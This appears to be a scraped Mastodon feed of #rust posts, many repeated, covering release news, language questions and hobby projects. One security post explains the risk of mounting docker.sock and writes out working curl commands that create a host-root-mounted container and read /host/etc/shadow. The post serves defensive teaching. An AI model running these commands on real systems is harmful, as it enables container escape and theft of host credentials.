Just finished moving a small #Rust CLI tool from GitHub to #codeberg.
* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.
here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows
overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.
#rustlang #codeberg
github.com
MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.
Just finished moving a small #Rust CLI tool from GitHub to #codeberg.
* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.
here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows
overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.
#rustlang #codeberg
github.com
MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.
Adding #[derive(From)] to Rust https://lobste.rs/s/ce22dx #rust
https://kobzol.github.io/rust/2025/09/02/adding-derive-from-to-rust.html
kobzol.github.io
TL;DR: #[derive(From)] can be used in nightly now. See here on how to use it. You can follow this tracking issue for more updates.
Adding #[derive(From)] to Rust https://lobste.rs/s/ce22dx #rust
https://kobzol.github.io/rust/2025/09/02/adding-derive-from-to-rust.html
kobzol.github.io
TL;DR: #[derive(From)] can be used in nightly now. See here on how to use it. You can follow this tracking issue for more updates.
@ianthetechie I'm working on a #Rust training for #C++ developers and I realised now even more how "beauty" of Rust outperforms C++ in terms of efficient development effort; I wonder if my material is going to be able to demonstrate that nicely.
niri v25.08 is now released with a logo, xwayland-satellite integration, basic screen reader support, NVIDIA screencast flickering fix, window positions and sizes in IPC, and many other improvements!
Read the notes here: https://github.com/YaLTeR/niri/releases/tag/v25.08
now i need at least a month off from any release notes preparation 😴
niri full-sized logo. It's the word niri but the i dots are candle flames.
RV (something like Python's UV, but for #Ruby) looks pretty cool https://andre.arko.net/2025/08/25/rv-a-new-kind-of-ruby-management-tool/
I liked using UV with Python and I'm guessing the experience with RV would be similar as well. It's a bit said that all such tools have to be rewritten in #Rust (or similar), but nothing's perfect. On the bright side - perhaps that would encourage me to do something meaningful with Rust… (RuboCop in Rust anyone? :D)
andre.arko.net
For the last ten years or so of working on Bundler, I’ve had a wish rattling around: I want a better dependency manager. It doesn’t just manage your gems, it manages your ruby versions, too. It doesn’t just manage your ruby versions, it installs pre-compiled rubies so you don’t have to wait for ruby to compile from source every time. And more than all of that, it makes it completely trivial to run any script or tool written in ruby, even if that script or tool needs a different ruby than your application does.
New blog post: Emulating aarch64 in software using JIT compilation and Rust
pitsidianak.is
Manos Pitsidianakis - epilys
I wish there was something that was the opposite of `is_empty()` for many #rust types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.
Some more silliness. #RADIOFORESTRION #bevy #ratatui #rust #gamedev
Radioforestrion - battle with Maine Frame which is a Mainframe with cat ears.
Some more silliness. #RADIOFORESTRION #bevy #ratatui #rust #gamedev
Radioforestrion - battle with Maine Frame which is a Mainframe with cat ears.
New blog post: Emulating aarch64 in software using JIT compilation and Rust
pitsidianak.is
Manos Pitsidianakis - epilys
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.
ItSec (walking by): Guys... a quick test. From inside that container, run:
# 
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...
devops0: So what? What does it mean?
Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:
# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04
If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:
# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root
# apt update && apt install -y curl
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'
# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:
# Read /etc/shadow of Docker Host using only curl, step 1:
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'
# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'
Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).
And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.
[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/
Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956
#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js
grumpy cat
I wish there was something that was the opposite of `is_empty()` for many #rust types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.
The macro expansion feature just got merged in rustdoc! If enabled, you can now expand all macros in source code pages.
PR: https://github.com/rust-lang/rust/pull/137229
Enjoy!
github.com
This is what it looks like: You can test it here. In this case, I also enabled the --generate-link-to-definition to show that both options work well together. Note: There is a bug currently in fi...
The macro expansion feature just got merged in rustdoc! If enabled, you can now expand all macros in source code pages.
PR: https://github.com/rust-lang/rust/pull/137229
Enjoy!
github.com
This is what it looks like: You can test it here. In this case, I also enabled the --generate-link-to-definition to show that both options work well together. Note: There is a bug currently in fi...
Rust For Foundational Software:
corrode.dev
Ten years of stable Rust; writing this feels surreal. It’s only been yesterday that we all celebrated the 1.0 release of this incredible language. <a class="external-link" rel="noopener noreferrer" target="_blank" href="http…
Rust For Foundational Software:
corrode.dev
Ten years of stable Rust; writing this feels surreal. It’s only been yesterday that we all celebrated the 1.0 release of this incredible language. <a class="external-link" rel="noopener noreferrer" target="_blank" href="http…
Wanted: a #RustLang tool with 4 panes:
- desired generated code
- an in progress proc-macro being written
- input #Rust code where the proc-macro is being applied
- a live updating view of the actual generated code with diff annotations against what was desired
If you want to go fancier, tie things in the output to the input and provide suggestions on where things are missing pre-expansion for the output to march the expectation. I feel like 90% of this can be accomplished today with tmux+a file watcher+direct rustc invocations using -Zunpretty=expanded, but it'd be lovely to have an actual tool for this.
A massive improvement in rustdoc search just got merged:
windows-rs doesn't block the browser for a few seconds (or more) anymore.It should be available in tomorrow's nightly, can't wait!
github.com
Before: https://notriddle.com/windows-docs-rs/doc-old/windows/ https://doc.rust-lang.org/1.89.0/std/index.html https://doc.rust-lang.org/1.89.0/nightly-rustc/rustc_hir/index.html After: https://...
Working on a battle system for #RADIOFORESTRION
It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.
RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.
Working on a battle system for #RADIOFORESTRION
It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.
RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.
A massive improvement in rustdoc search just got merged:
windows-rs doesn't block the browser for a few seconds (or more) anymore.It should be available in tomorrow's nightly, can't wait!
github.com
Before: https://notriddle.com/windows-docs-rs/doc-old/windows/ https://doc.rust-lang.org/1.89.0/std/index.html https://doc.rust-lang.org/1.89.0/nightly-rustc/rustc_hir/index.html After: https://...
🚀 Czkawka 10.0 has been released.
A fast, multi-platform app (in #Rust) for finding duplicates, empty folders, similar images & more.
Its GUI, Krokiet, is built with #Slint
🔗 https://github.com/qarmin/czkawka
💬 https://www.reddit.com/r/rust/comments/1mtomwh/czkawka_krokiet_100_cleaning_duplicates_unifying/
Screenshot of Krokiet 10.0
The #SumUp card payment terminals seem to be quite popular, also among communities taking donations, e.g. at #FrOSCon.
For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.
It's very basic for now, but find it here:
Screenshot of Pumus, showing a dialog telling that: Successful The transaction was completed. and showing a QR code.
The #SumUp card payment terminals seem to be quite popular, also among communities taking donations, e.g. at #FrOSCon.
For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.
It's very basic for now, but find it here:
Screenshot of Pumus, showing a dialog telling that: Successful The transaction was completed. and showing a QR code.
- Software engineer/developer
- Preference for 3rd shift, but if I can work anywhere, I'll find a place to live to fit your schedule.
- holistic software development("full stack")
- References out the wazoo, especially from my most recent position.
- Any language, but I'm practiced in Java, #cpp , HTML, CSS, like #rust , and have professional exp. in Java, SQL, PL/SQL, and BASH
- English, #日本語 , #suomi , Français, et Español.
Dear #Rust #RustLang folks doing #Axum
What's your preferred way of having a single handler for multiple form submission types?
That is, let's say I have a settings page, and there's different "sections" to the settings, which all get handled differently, but I want the Form to get deserialized per usual?
Unfortunately, serde_html_form doesn't support deserializing enums for something like this? At least not out of the box?
Excellent. Got this working in the #ConjuredInk #Rust #RustLang #Axum server.
If you just wrap any plain <form> with <ajax-it>, it’ll submit that form as a fetch instead. Server-side, a middleware checks for a header and sets a flag, and you can use that to only partially render the response.
Without JS, you get the some whole page back, just like normal. With working JS, you only get the "patch", and then <ajax-it> overwrites the matching nodes.
This is a hybrid of htmx and htmz that uses a web component instead of a global thing with odd attribute annotations, and unlike htmz, lets you have programmatic lifecycle hooks, set that header so you can share the exact same endpoint, etc.
And it’s still just a tiny, plain, standalone Web Component with no deps. It's a couple of kb mingz, and I'll probably golf it around a bit to make it smaller.
an html template that conditionalizes rendering certain parts based on a flag
the entire response when the flag is enabled.
Sorry people, but #rust seems not yet to be enterprise ready: you cannot easily configure a proxy server or a mirror to use!
I'm still new to the #Rust ecosystem but I can see why it's become so popular so quickly. Aside from the language itself, the tooling just makes sense - so far I've rarely gone "why would you do it that way?"
Contrast that with Python, where that question was basically constantly on my mind when I was finding my way around 6-7 years ago :P (it's gotten better since then, thankfully).
Dear #rust #RustLang folks who use #axum
Do you have a nice router crate you recommend? My use case here is that I have a lot of situations where I want to actually resolve routes (to generate links and the like) and I really dislike how untyped/unverified those random strings are.
https://crates.io/crates/axum-routes seems good, but it's somewhat low usage. Still, it's pretty small and seems to do exactly what I need (lets me keep separating route definition from handler definition, lets me do reverse lookups, does static route typing, etc)
zizmor 1.12 is released!
this release comes with a few big additions/enhancements:
- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!
full notes including bugfixes here:
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
zizmor 1.12 is released!
this release comes with a few big additions/enhancements:
- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!
full notes including bugfixes here:
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at https://crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at https://bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.
I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at https://crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at https://bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.
Great posts by @hds for understanding how async/await works in #rust, and how it is different from the async/await I was used to from #typescript -
https://hegdenu.net/posts/understanding-async-await-1/
Not too beginner-ish, but doesn't go off in the weeds either. Perfectly balanced, as all things should be.
hegdenu.net
#reaction v2.2.0 is released!
Two big new features:
- Full IP support (built-in regex, ip ranges, different actions on IPv4 and IPv6...)
- Options for action deduplication
See the release for a more detailed changelog:
https://framagit.org/ppom/reaction/-/releases/v2.2.0
framagit.org
Changes This release brings two substantial features to reaction 🎉
Native American trackers, one is inspecting something and says "GoLang been here" other asks "how can you tell?" reply is a screen cap of an Option type with a doc comment indicating that actually, Some with an empty string property means none. As opposed to the actual use of Option::None
#reaction v2.2.0 is released!
Two big new features:
- Full IP support (built-in regex, ip ranges, different actions on IPv4 and IPv6...)
- Options for action deduplication
See the release for a more detailed changelog:
https://framagit.org/ppom/reaction/-/releases/v2.2.0
framagit.org
Changes This release brings two substantial features to reaction 🎉
#Rust lazyweb: if I use -> impl Into<MyError> as the return type for a function, I still can’t use ? syntax with it because ? is defined in terms of From, not Into. Is there a way to use the impl shorthand in terms of From instead? (Specifically in a trait! RPITIT is important here cause I don’t want to write the assoc type explicitly at all N use sites.)
Who tis? New number??
No, same old me but now a member of #Rust Embedded libs team. 😎
I hope to use my new super powers to help maintain the heapless crate better. Despite its popularity, the crate hasn't seen a release in over a year.
The spring framework has been ported to #rust.
The spring framework has been ported to #rust.
I did a RIIR again and:
Two apps nearly-identical in functionality now. On startup, before processing anything:
#Rust + #Axum: 3.5MB RES
#Elixir + #Phoenix: 75MB RES
Literally 20x difference, and I haven't even benchmarked throughput/perf. For a use case where a big goal is extremely low resource use, this is huge.
(both of these are running in release/prod mode btw)
Well, let me try to learn #rust again. What better "example" program than audio DSP? 😃
Every once in a while I put together something cool. I built a game engine in python many years ago which I eventually migrated to rust, and have now migrated to the gameboy advance in rust. I'm well pleased.
https://github.com/tnibert/Pluto-Engine
#gamedev #retrogaming #rust
Video of a gameboy advance game demo for a "dodge the objects, retrieve the ball" type video game.
So for a struct that's from an external crate, is there a nice way to turn this more data-driven/less repetitive?
First thought was implement a trait with just the `type_attribute` function but Rust doesn't do duck-typing so I'd have to reimplement the function which would then clash.
I suppose I could make a different-named function on the trait and connect the two there but that feels off?
A lot of very repetitive method calls to a consuming builder, only one argument is varied
I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)
If you want to try it out, here's the branch: https://github.com/GuillaumeGomez/rust/tree/full-gcc
Instructions on how to build it:
gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.x.py build --stage 1Then to run the new rustc:
LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc
github.com
a safe, concurrent, practical language. Contribute to GuillaumeGomez/rust development by creating an account on GitHub.
I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)
If you want to try it out, here's the branch: https://github.com/GuillaumeGomez/rust/tree/full-gcc
Instructions on how to build it:
gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.x.py build --stage 1Then to run the new rustc:
LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc
github.com
a safe, concurrent, practical language. Contribute to GuillaumeGomez/rust development by creating an account on GitHub.
People who use #Rust a lot:
What's a bad coding behavior that Rust encourages?
Every language has at least one. Examples:
- C: arcane pointer arithmetic
- Ruby: disruptive monkey patching
- JS: nesting callbacks/promises (before async/await was a thing)
- Java: AsyncAbstractSingletonFactoryObserverFactoryProvider
- Perl: *!%^([@])
Readings shared July 29, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/30-readings_shared_07-29-25 #CoqProver #FormalVerification #FunctionalProgramming #Haskell #IMO #ITP #LLMs #LeanProver #MachineLearning #Math #ProofAssistant #Rocq #Rust
jaalonso.github.io
The readings shared in Bluesky on 29 July 2025 are Algorithmic conversion with surjective pairing: A syntactic and untyped approach. ~ Yiyun Liu, Stephanie Weirich. #FormalVerification #ProofAssistan
Comparing codes: Spiral matrix (another matrix layer problem). ~ James Bowen. https://mmhaskell.com/blog/2025/7/28/spiral-matrix-another-matrix-layer-problem #Haskell #FunctionalProgramming #Rust
mmhaskell.com
Tried revisiting Ludwig (my Lemmy clone project) today. I've been experimenting with Cursor and AI-assisted development--yes, yes, I know, but it's actually nice for speeding up boilerplate tasks! And it's surprisingly good for C++... so long as you never trust it with memory management.
One thing I left unfinished was full-text search. I had a cobbled-together homegrown LMDB-based search index with sentencepiece as a tokenizer, but it barely works. So I decided to find a C++ embedded search library. And the pickings are slim.
First choice was CLucene, which sort of works. Cursor helped me figure out the barely-documented API, but also generated a bunch of use-after-frees that I had to sort out. CLucene is 15 years old and kind of works, but it also leaks memory like crazy and I can't find any way to fix it. Asan thinks the leaks are coming from within CLucene, so it's probably not my code?
I tried another over-a-decade-old project, Zettair (formerly Lucy). Cursor could translate the autotools build files to Meson, and it worked on the first try, nice! But Zettair can only index files, not in-memory strings...
What else is there? Xapian is GPL, and I want to keep the project Apache-2.0 licensed, so that's out. Pisa also can only load files and can't add new entries while running. Rust libraries like Tantivy would massively bloat the binary.
As a last resort, I started vibe-coding a translation of Sonic (a very cool Rust search engine that sadly can't be embedded) into a C library, and it didn't take too long to get something working! But it's still more yak shaving. I don't need it, I don't need it...
Iterative fibonacci in #rust, will be interesting if I can shorten it further!
fn fibi(n: u32) -> u64 {
let mut f = 1;
let mut pf = 1;
for _ in 2..n {
let t = pf;
pf = f;
f += t;
}
f
}
Driver:
fn main() {
for n in 1..=10 {
println!("{}\t{}\t{}", n, fib(n), fibi(n));
}
}
fn fib(n: u32) -> u32 {
if n < 3 { 1 } else { fib(n - 1) + fib(n - 2) }
}
Readings shared July 22, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/23-readings_shared_07-22-25 #FunctionalProgramming #Haskell #IMO #ITP #LLMs #Math #Rocq #Rust
jaalonso.github.io
The readings shared in Bluesky on 22 July 2025 are A parametricity-based formalization of semi-simplicial and semi-cubical sets. ~ Hugo Herbelin, Ramkumar Ramachandra. #ITP #Rocq Comparing codes: Ima
Comparing codes: Image rotation (Mutable arrays in Haskell). ~ James Bowen. https://mmhaskell.com/blog/2025/7/21/image-rotation-mutable-arrays-in-haskell #Haskell #FunctionalProgramming #Rust
mmhaskell.com
„Ratatui - Are We Embedded Yet?” talk is finally online!
I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.
It’s my first talk (not counting lightning talks) and I struggle with public speaking 
(trying to change that) but I hope you like it.
Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.
youtube.com
Are we embedded yet?📣 Speaker: Jagoda Ślązak📅 2025-07-02📍 Przystanek Pireus, PoznańRatatui revolutionized terminal UIs in Rust—but what if we broke it out...
„Ratatui - Are We Embedded Yet?” talk is finally online!
I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.
It’s my first talk (not counting lightning talks) and I struggle with public speaking (trying to change that) but I hope you like it.
Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.
youtube.com
Are we embedded yet?📣 Speaker: Jagoda Ślązak📅 2025-07-02📍 Przystanek Pireus, PoznańRatatui revolutionized terminal UIs in Rust—but what if we broke it out...
This weekend wraps a replatforming of the #stigmerge CLI onto a high level #filesharing API. A necessary step towards a #Transmission like interface. Experimenting with #tauri now.
A few bug fixes happened as well :)
https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.7
Need to fix #rust docs.rs, they're not building yet 🤦
Release Notes 🚜 Refactor Extract high level share api Install stigmerge 0.5.7 Install prebuilt binaries via shell script curl --proto '=https' --tlsv1.2 -LsSf https://github.com/cmars/stigmerge...
Readings shared July 18, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/19-readings_shared_07-18-25 #ACL2 #CompSci #FunctionalProgramming #Haskell #ITP #LLMs #LeanProver #Rocq #Rust #Teaching
jaalonso.github.io
The readings shared in Bluesky on 18 July 2025 are Teaching software specification (Experience report). ~ Cameron Moy, Daniel Patterson. #CompSci #Teaching #ITP #LeanProver #ACL2 CSLib: An open-sourc
Comparing codes: Binary search in a 2D matrix. ~ James Bowen. https://mmhaskell.com/blog/2025/7/14/binary-search-in-a-2d-matrix #Haskell #FunctionalProgramming #Rust
mmhaskell.com
"C is a simple language. This is fact I agree with and appreciate. It is the reason for C's endurance. If someone posts a patch or submits a PR to a codebase written in C, it is easier to review than any other mainstream language. There is no spooky at a distance."
mnvr.in
Without writing a single line of Rust, why I feel it might be right
what #ide do you use for #rust? i'm currently on rustrover, but it's too slow, and i'm seeking an alternative. one of the features i like in jetbrains ides, and really need—browsing source code of your dependencies. couldn't find it in vscode. do you know any editors or vscode plugins which allow this?
Les quería presumir mi tapete de #Rust hecho con telar de pedal.
Fotografía de un tapete artesanal hecho con telar de pedal. En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar. Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust". Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.
Les quería presumir mi tapete de #Rust hecho con telar de pedal.
Fotografía de un tapete artesanal hecho con telar de pedal. En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar. Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust". Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.
RustLang question: If `From` is implemented between two types, is it possible to seamlessly convert between Vectors of those two types?
Compiler won't let me `impl from<Vec<...>>` for the two types since `Vec` isn't in my crate.
This whole thing is working around the fact that `NodeGroup` in an external crate doesn't have `Deserialize` on it, though it is generated code by `prost`...
an implementation of From between an external crate's Type "NodeGroup" and a wrapper Type of mine "MyNGAnalogue".
The latest #techlounge is packed with great interviews with great people from #fosdem back in February.
We have Rebecca Rumbul from the #Rust Foundation
A whole bunch of people from Sysdig talking about #stratoshark
Frank Karlitschek of #Nextcloud
And… @andypiper from Mastodon
Put up with the background noise, there's some great content!
Search for "Tech Lounge" wherever you get podcasts or listen here: https://chrischinchilla.com/podcast/voices-from-fosdem-2025
chrischinchilla.com
<p>Fast rewind back to February and I had some fascinating conversations with various projects at FOSDEM in Brussels, including the Rust Foundation, Sysdig about StratoShark, Nextcloud, and Mastodon.</p><p> </p><p><strong>Want the power of Mermaid for enterprises?</strong></p><p>Mermaid chart brings WYSIWYG editing, generative AI, collaboration, and more to the flexible syntax of Mermaid.</p><p><a...
The latest #techlounge is packed with great interviews with great people from #fosdem back in February.
We have Rebecca Rumbul from the #Rust Foundation
A whole bunch of people from Sysdig talking about #stratoshark
Frank Karlitschek of #Nextcloud
And… @andypiper from Mastodon
Put up with the background noise, there's some great content!
Search for "Tech Lounge" wherever you get podcasts or listen here: https://chrischinchilla.com/podcast/voices-from-fosdem-2025
chrischinchilla.com
<p>Fast rewind back to February and I had some fascinating conversations with various projects at FOSDEM in Brussels, including the Rust Foundation, Sysdig about StratoShark, Nextcloud, and Mastodon.</p><p> </p><p><strong>Want the power of Mermaid for enterprises?</strong></p><p>Mermaid chart brings WYSIWYG editing, generative AI, collaboration, and more to the flexible syntax of Mermaid.</p><p><a...
Carolyn Zech from Amazon Web Services brought her A-game to The Linux Foundation Open-Source Summit, delivering an engaging talk on verifying the Rust Standard Library. [video]
#rust #rustlang #programming
youtube.com
Don't miss out! Join us at the next Open Source Summit in Hyderabad, India (August 5); Amsterdam, Netherland (August 25-29); Seoul, South Korea (November 4-5...
Carolyn Zech from Amazon Web Services brought her A-game to The Linux Foundation Open-Source Summit, delivering an engaging talk on verifying the Rust Standard Library. [video]
#rust #rustlang #programming
youtube.com
Don't miss out! Join us at the next Open Source Summit in Hyderabad, India (August 5); Amsterdam, Netherland (August 25-29); Seoul, South Korea (November 4-5...
Readings shared July 9, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/10-readings_shared_07-09-25 #ACL2 #CAS #CoqProver #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #Math #Rust #SAT
jaalonso.github.io
The readings shared in Bluesky on 9 July 2025 are Formalising the local compactness of the adele ring. ~ Salvatore Mercuri. #ITP #LeanProver #Math Doing Lean dirty: Lean as a Jupyter notebook replace
Comparing codes: Binary search in Haskell and Rust. ~ James Bowen. https://mmhaskell.com/blog/2025/7/7/binary-search-in-haskell-and-rust #Haskell #FunctionalProgramming #Rust
mmhaskell.com
So the new #coreutils #uutils are now developed on a proprietary and exclusive platform. And I don't get it.
Rewrite it in #Rust, ok. Emancipate from #GNU and #Stallmann, ok. I get it.
But why on Earth put it in a walled garden, drag more users and contributors into a walled garden, and expand dependencies on Big Tech even for the base of #Linux systems? Why can't we have people who are both technically skilled *and* conceive basic freedoms and digital independence?
Someone interested in contributing to a #notmuch #email reader in #rust ?
I am currently writing a #ratatui frontend, but I also plan to implement a #slint frontend.
And I am making pretty good progress right now. Maybe I get to a point where one can actually look at email content by sunday afternoon. 😆
Readings shared July 4, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/05-readings_shared_07-04-25 #CategoryTheory #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #Math #Rust #TypeTheory
jaalonso.github.io
The readings shared in Bluesky on 4 July 2025 are LeanConjecturer: Automatic generation of mathematical conjectures for theorem proving. ~ Naoto Onda et als. #ITP #LeanProver #Math #LLMs An introduct
Someone interested in contributing to a #notmuch #email reader in #rust ?
I am currently writing a #ratatui frontend, but I also plan to implement a #slint frontend.
And I am making pretty good progress right now. Maybe I get to a point where one can actually look at email content by sunday afternoon. 😆
I’ve got a #rust optimization question. When a function takes an Into<T> as the only argument would it be possible for the compiler to only produce one function that takes T and move the Into logic outside of the function?
(Rather than making N different functions for N different types that impl Into<T>)
Or same thing with AsRef<&str>.
Reflections on Haskell and Rust. ~ Sibi Prabakaran. https://academy.fpblock.com/blog/rust-haskell-reflections #Haskell #FunctionalProgramming #Rust
tech.fpcomplete.com
Haskell vs. Rust: A production-level comparison of two languages.
A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!
With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero
https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.7
A new release of sudo-rs, version 0.2.7
A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!
With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero
https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.7
A new release of sudo-rs, version 0.2.7
#introduction mreeow! Hi! My name is Momo! I'm a transfemme, and she/they is my preferred pronouns.
I code as a hobby in #rust and #haskell. I also use #nixos as my main daily driver since last year. 
I enjoy creating casual game mods in my free time, including Stardew Valley, #twohoursonelife, and various other games. 
I also love playing Cataclysm: Bright Nights (#cbn) and #Stardew Valley. Sometimes, #widelands, and #openttd too, because why not? I like the look and feel of these games. 
